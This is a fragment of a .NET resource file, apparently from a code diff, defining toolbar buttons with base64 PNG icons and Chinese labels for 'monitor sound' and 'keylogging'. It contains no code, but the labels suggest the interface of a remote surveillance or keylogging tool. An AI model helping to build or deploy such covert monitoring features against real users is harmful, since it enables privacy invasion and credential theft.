<data name="toolStripButtonvoice.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
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
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtonvoice.Text" xml:space="preserve">
|
||||
<value>监听声音</value>
|
||||
</data>
|
||||
<data name="toolStripButtonkeylogger.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
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
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtonkeylogger.Text" xml:space="preserve">
|
||||
<value>键盘记录</value>
|
||||
</data>
|
||||
</root>
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue